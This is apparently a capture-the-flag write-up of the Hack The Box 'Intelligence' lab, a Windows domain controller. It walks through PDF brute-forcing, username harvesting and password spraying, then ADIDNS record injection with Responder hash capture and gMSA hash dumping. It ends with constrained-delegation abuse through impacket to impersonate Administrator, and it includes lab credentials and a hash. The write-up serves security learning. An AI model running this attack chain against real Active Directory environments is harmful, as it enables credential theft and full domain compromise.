This Windows challenge by Micah was a particularly meaty box with a lot of variety and some fairly real-world applications for what you learn. Our initial nmap
scan showed we were dealing with a Windows DC running IIS 10.
Nmap 7.91 scan initiated Thu Aug 12 05:39:34 2021 as: nmap -A -oA htb -sV -sC -p- 10.10.10.248
Nmap scan report for 10.10.10.248
Host is up (0.013s latency).
Not shown: 65516 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-08-12 16:41:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-08-12T16:42:59+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-08-12T16:42:59+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-08-12T16:42:59+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-08-12T16:42:59+00:00; +7h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49692/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49702/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-08-12T16:42:19
|_ start_date: N/A
I used ffuf
to see what things we might find on IIS – which revealed a documents directory but little else. The directory wasn’t available to be browsed but it appears the files contained within would be accessible. How do we know this? The files listed in the html on the homepage all loaded.
I wanted to see what other PDF’s might be living in this directory. It turns out the ones listed on the homepage seemed to follow a naming convention: YYYY–MM–DD-upload.pdf. It seemed like the easiest way to try brute-forcing this would be some python.
#!/usr/bin/python3
import urllib.request
urlin = "http://intelligence.htb/documents/"
extension = ".pdf"
day = 1
month = 1
year = 2020
suffix = "-upload"
while month < 13:
while day < 32:
file=str(year) + "-" + str(month).zfill(2) + "-" + str(day).zfill(2) + suffix + extension
urltofile = urlin + file
request = urllib.request.Request(urltofile)
request.get_method = lambda: 'HEAD'
try:
urllib.request.urlopen(request)
print("Downloading:",urltofile)
urllib.request.urlretrieve(urltofile,file)
except urllib.request.HTTPError:
print("No file found at:",urltofile)
day = day + 1
month = month +1
day = 1
I was discussing this script with a colleague of mine over Signal and it was only when I wrote out what format I was going to search for I noticed a bug that would have prevented me getting all of the files. The zfill(2) entries were not in the first draft. Had I not been chatting with my m’colleague I would have downloaded a fraction of the files! For those that don’t speak parcel tongue, this part pads numbers <10 with an extra zero so 9 becomes 09. You can immediately see the potential issue I faced.
There were a lot of files. My script pulled 84 files. Like I’m going to read all of those! I had a look using strings to see if there was anything interesting in the files from a metadata point of view. I saw that the files had what appeared to be a username in the ‘Creator’ tag. I decided to pull all of those out with strings * | grep Creator | grep -v TeX | cut -d '(' -f 2 | cut -d')' -f1 | sort | uniq
and that gave me a long list of users. I saved this into a users.txt
for later use.
Looking inside the PDF’s in a more normal way revealed just lots of Latin – well at least the ones I bothered to open through a point and click interface! My thought now was that I wanted to turn the PDF’s from something I’d manually had to go through into something more searchable – more wordlist-y! To do this I used find . -type f > files.lst
to get a list of all the PDF’s I’d downloaded into a text file that I’d then use to iteratively get pdf2text -raw
to convert into nice plain text. I then created a nice big text file with the content of all of those and turned it into a wordlist with nothing more than this: grep -o -E '\w+' lotsoftext | sort | uniq > wordlist
Making an assumption that one of these words was being used as a password for at least one of the users that I’d found. I used Metasploit to try this against smb. Maybe I should have looked a bit closer at those files, because as I watched the passwords get tried against the first account I noticed a really obvious password. Sure enough one of the documents literally contained the default password. I shortened my wordlist… a lot. In under a minute my smb login scanner had proven I had a way in.
I used smbclient -L 10.10.10.248 --user <username>
to see what I’d be able to access, and noticed there was a Users share. There was a time when I’d continue on the command line but this really did feel like a job for the GUI. Mounting the share I was able to quickly get the user.txt
flag.
On to root then. There was no obvious way to get on to the box to begin escalating privileges. I couldn’t get a shell with anything and I lack permissions to look at most of the files on the Users share. At about this point I decided to use the account I had to dump the contents of ldap. I used the wonderful ldapdomaindump
utility to extract all the juice from AD – what was within would be useful later but frustratingly nothing useful right now.
The IT share though did have an interesting Powershell script that was, at 5 minutely intervals, firing out web requests to see if it got an HTTP status 200. The list it was using was super weird. It was looking at Active Directory for entries where the object name started with ‘web’. Luckily for me there was a bit of clue about how this was actually working and what I needed to do – that being the name of the LDAP container.
I wasn’t sure how, or why at this point, but I knew I needed to get the Invoke-WebRequest
to come to my machine. The records in this little area are Active Directory Integrated DNS (or ADIDNS for short). Going back to look at the directory, my next step was to use the Apache Directory Studio. Sounds like something a creative might be interested in – but I sincerely doubt they would! This GUI tool allows (relatively) easy browsing and manipulation of an LDAP structure. There were no other entries for servers with an object name that the script would find – so there’s no template for me to copy. We’d need to work this out ourselves.
Interesting fact about ADIDNS. It does DNS. No really, it does. Not that you can tell, but the dnsRecord entries contain encoded DNS data. You’re not going to be able to create/edit these on the fly by hand as they’re some awful proprietary format Microsoft came up with. Luckily there is a tool that can help us create a record exactly as we need – DNSUpdate.py
available from https://github.com/Sagar-Jangam/DNSUpdate.
python3 DNSUpdate.py -DNS 10.10.10.248 -u '<domain>\<user>' -p <password> -a ad -r webby -d <my machine>
It was actually as I was searching for the tool – and reading the help text for the tool itself – that, of course, I could use that old favourite Responder. Everything clicked into place. The option in the Powershell ‘-UseDefaultCredentials’ made sense. I ran responder -I tun0
and was not disappointed shortly afterwards with the reward of the hash for our friendly IT operative Ted.
A quick hashcat
later I have the password. Time for a shell I thought. Nope! No shells for Ted either! After re-plastering the wall I’ve put my head through, I had a look back at what I’d collected with my ldap dump.
└─# grep TRUSTED *.grep
domain_computers.grep:svc_int svc_int$ svc_int.intelligence.htb 01/01/01 00:00:00 WORKSTATION_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION 04/19/21 00:49:58 S-1-5-21-4210132550-3389855604-3437519686-1144
domain_computers.grep:DC DC$ dc.intelligence.htb Windows Server 2019 Datacenter 10.0 (17763) 08/13/21 08:35:50 SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION 04/19/21 00:42:41 S-1-5-21-4210132550-3389855604-3437519686-1000
Now I know that this must lead somewhere. Initially I couldn’t remember how to make use of it and I had to go back and do some reading. The research I needed to do concerned constrained delegation (this is as opposed to unconstrained delegation which is an older way of doing things).
My reading list:
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
https://www.onsecurity.io/blog/abusing-kerberos-from-linux/
Reading GSMA password
These sites talk about user accounts that have been given delegated permission but it’s worth remembering that to Active Directory an account is an account. So the methodology applies to machine accounts too.
Also during my research I came across the tool pywerview
a python implementation of the well known Powershell utility. This would give me much more detail about this machine account.
pywerview get-netcomputer -u <user> -p <pwd> -w intelligence.htb --computername svc_int.intelligence.htb -t 10.10.10.248 --full-data
The entry we care about:
msds-allowedtodelegateto: WWW/dc.intelligence.htb
We nearly have all the information we now need: Credentials for a user, a machine account thats trusted for delegation and an SPN. What we didn’t have was the credentials for the machine account. But we can get the hash for them with gMSAdumper.
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Armed with the hash, nobody can stop us getting a ticket for the Administrator with the impacket
toolset:
impacket-getST -dc-ip 10.10.10.248 -spn WWW/dc.intelligence.htb 'INTELLIGENCE.HTB/svc_int\$' -hashes :5e47bac787e5e1970cf9acdb5b316239 -impersonate Administrator
This didn’t work the first time, or the next few times, as my clock had too much time between it and the DC. So I had to fiddle around with my own clock to get it right. And once I had, I was armed and dangerous with the root ticket, which I quickly used to get the root flag:
export KRB5CCNAME=Administrator.ccache
impacket-smbclient [email protected] -k -no-pass
Just for fun I also used impacket-psexec with the same options to get a shell. A shell I would have loved a few hours earlier! This was a great machine though as it shows how much you can accomplish (a) without a shell (b) without any CVE’s. A lot of places will have a very similar set-up with their AD. Worth thinking about.